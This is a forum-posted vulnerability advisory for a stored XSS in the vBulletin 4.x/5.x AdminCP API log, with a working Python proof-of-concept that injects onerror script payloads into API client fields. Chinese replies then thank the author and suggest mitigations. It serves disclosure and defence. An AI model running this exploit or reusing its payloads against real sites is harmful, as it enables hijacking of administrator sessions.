vBulletin 5.x/4.x - Persistent XSS in AdminCP/ApiLog via xmlrpc API (Post-Aut...
CVE-2014-2021 - vBulletin 5.x/4.x - persistent XSS in AdminCP/ApiLog via xmlrpc API (post-auth)================================================================================================
Overview
--------
date : 10/12/2014
cvss : 4.6 (AV:N/AC:H/Au:S/C:P/I:P/A:P) base
cwe : 79
vendor : vBulletin Solutions
product : vBulletin 4
versions affected : latest 4.x and 5.x (to date); verified <= 4.2.2 ; <= 5.0.x
* vBulletin 5.0.5 (verified)
* vBulletin 4.2.2 (verified)
* vBulletin 4.2.1 (verified)
* vBulletin 4.2.0 PL2 (verified)
exploitability :
* remotely exploitable
* requires authentication (apikey)
* requires non-default features to be enabled (API interface, API-Logging)
* requires user interaction to trigger exploit (admincp - admin views logs)
patch availability (to date) : None
Abstract
---------
vBulletin 4/5 does not properly sanitize client provided xmlrpc attributes (e.g. client name)
allowing the remote xmlrpc client to inject code into the xmlrpc API logging page.
Code is executed once an admin visits the API log page and clicks on the API clients name.
risk: rather low - due to the fact that you the api key is required
you can probably use CVE-2014-2023 to obtain the api key
Details
--------
vulnerable component:
./admincp/apilog.php?do=viewclient
apilog.php does not sanitize xmlrpc client provided data before passing it to
print_label_row to generate the output page.
Proof of Concept (PoC)
----------------------
see https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2021
1) prerequisites
1.1) enable API, generate API-key
logon to AdminCP
goto "vBulletin API"->"API-Key" and enable the API interface, generate key
goto "vBulletin API"->"API-Log" and enable all API logging
2) run PoC
edit PoC to match your TARGET, APIKEY (, optionally DEBUGLEVEL)
run PoC, wait for SUCCESS! message
3) trigger exploit
logon to AdminCP
goto "vBulletin API"->"API-Log" and hit "view"
in search results click on "client name"
the injected msgbox pops up
Timeline
--------
2014-01-14: initial vendor contact - no reply
2014-01-24: vendor contact - no reply
2014-10-13: public disclosure
Contact
--------
tintinweb - https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2021
(0x721427D8)
- - -
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
@author: tintinweb 0x721427D8
'''
import urllib2, cookielib, urllib, json, hashlib
class Exploit(object):
baseurl = None
cookies = None
def __init__(self,baseurl,params, debuglevel=1):
self.cookies = cookielib.LWPCookieJar()
handlers = [
urllib2.HTTPHandler(debuglevel=debuglevel),
urllib2.HTTPSHandler(debuglevel=debuglevel),
urllib2.HTTPCookieProcessor(self.cookies)
]
self.browser = urllib2.build_opener(*handlers)
self.baseurl=baseurl
self.params = params
def call(self,path="",data={}):
assert(isinstance(data,dict))
data = urllib.urlencode(data)
req = urllib2.Request("%s%s"%(self.baseurl,path),data)
req.add_header("Content-Type", "application/x-www-form-urlencoded")
return self.browser.open(req)
def call_json(self,path=None,data={}):
try:
x=self.call(path,data).read()
print "raw_response", x
resp = json.loads(x)
except urllib2.HTTPError, he:
resp = he.read()
return resp
def vb_init_api(self):
params = {'api_m':'api_init'}
params.update(self.params)
data = self.call_json("?%s"%(urllib.urlencode(params)))
self.session = data
return data
def vb_call(self, params):
api_sig = self._vb_build_api_sig(params)
req_params = self._vb_build_regstring(api_sig)
params.update(req_params)
data = self.call_json("?%s"%(urllib.urlencode(params)),data=params)
if not isinstance(data, dict):
return data
if 'errormessage' in data['response'].keys():
raise Exception(data)
return data
def _ksort(self, d):
ret = []
for key, value in [(k,d) for k in sorted(d.keys())]:
ret.append( "%s=%s"%(key,value))
return "&".join(ret)
def _ksort_urlencode(self, d):
ret = []
for key, value in [(k,d) for k in sorted(d.keys())]:
ret.append( urllib.urlencode({key:value}))
return "&".join(ret)
def _vb_build_api_sig(self, params):
apikey = self.params['apikey']
login_string = self._ksort_urlencode(params)
access_token = str(self.session['apiaccesstoken'])
client_id = str(self.session['apiclientid'])
secret = str(self.session['secret'])
return hashlib.md5(login_string+access_token+client_id+secret+apikey).hexdigest()
def _vb_build_regstring(self, api_sig):
params = {
'api_c':self.session['apiclientid'],
'api_s':self.session['apiaccesstoken'],
'api_sig':api_sig,
'api_v':self.session['apiversion'],
}
return params
if __name__=="__main__":
TARGET = "http://localhost:8008/sectest/vbulletin_5/api.php"
APIKEY = "G4YvWVhp"
DEBUGLEVEL = 0 # 1 to enable request tracking
print "vBulletin 5.x / 4.x - XSS in API"
### 1. XSS
'''
vbulletin: admincp => settings: options => vbulletin API and Mobile Application Options
* enable vbulletin API = yes
* enable API log = yes
xss in:
1) http://xxxx/vb/admincp/apistats.php?do=client
2) click on hex<video><source/**/onerror='alert(1)'>hex
2.1) e.g. http://xxxx/vb/admincp/apilog.php?do=viewclient&apiclientid=1
'''
params = {'clientname':"hex<video><source/**/onerror='alert(/clientname_1/)'>hex1",
'clientversion':"hex<video><source/**/onerror='alert(2)'>hex2",
'platformname':"hex<video><source/**/onerror='alert(3)'>hex3",
'platformversion':"hex<video><source/**/onerror='alert(4)'>hex4",
'uniqueid':"hex<video><source/**/onerror='alert(5)'>hex5",
'apikey':APIKEY}
print "[ 1 ] - xss - inject alert() to admincp"
x = Exploit(baseurl=TARGET,params=params,debuglevel=DEBUGLEVEL)
vars = x.vb_init_api()
print vars
"""
$calls = array(
'methods' => array(
'login_login', 'api_init'
),
'login_login' => array(
'POST' => array(
'vb_login_username' => 'admin',
'vb_login_password' => 'password',
),
),
'api_init' => array(
'sessionhash' => '{session.dbsessionhash}'
)
);
"""
print "[*] GOT SESSIONHASH:",vars.get('sessionhash','<no-sessiohash>')
'''
calls = {'methods':['api_init'],
'api_init':{
'sessionhash':vars['sessionhash']
}}
'''
# just a dummy call
x.vb_call(params={'api_m':'api_forumlist',
'type':'t',
'x':"1"})
print "[ *] SUCCESS! - now make an admin visit %s/admincp/apilog.php?do=viewclient&apiclientid=%s to trigger the XSS :)"%("/".join(TARGET.split("/")[:-1]),vars['apiclientid'])
print "-- quit --"
Re: vBulletin 5.x/4.x - Persistent XSS in AdminCP/ApiLog via xmlrpc API (Post-Aut...
感谢分享这个漏洞分析，写得非常详细。从PoC和利用条件来看，虽然需要认证和启用非默认功能，但结合另一个CVE（2014-2023）获取API key的可能性，实际风险可能会被放大。AdminCP里的持久XSS一旦触发，权限影响也不小。建议还在用老版本vBulletin的用户尽快检查配置，或者考虑升级。辛苦了！Re: vBulletin 5.x/4.x - Persistent XSS in AdminCP/ApiLog via xmlrpc API (Post-Aut...
感谢分享这个详细的漏洞分析。看起来这是vBulletin 4.x/5.x中一个需要管理员登录和特殊配置才能触发的XSS，虽然利用门槛较高（需要API密钥并启用API日志功能），但一旦管理员查看日志并点击客户端名称，确实可能导致持久性脚本执行。PoC和影响范围都写得很清楚，尤其是提到了可以通过其他漏洞（如CVE-2014-2023）获取API密钥，进一步提升了风险。厂商未回应补丁，这一点也值得注意。对于还在使用这些版本的用户，建议暂时关闭API日志功能或限制AdminCP的访问权限来降低风险。再次感谢你的披露。Re: vBulletin 5.x/4.x - Persistent XSS in AdminCP/ApiLog via xmlrpc API (Post-Aut...
感谢分享这个详细的漏洞分析。这个持久化XSS虽然利用条件比较苛刻（需要API密钥开启、管理员手动查看日志），但结合CVE-2014-2023来窃取API密钥的话，实际风险就会上升不少。vBulletin官方当时一直没有回应确实挺遗憾的，还好最终公开了细节。你提供的PoC链接很有参考价值，社区里应该有不少人会去验证和修补。
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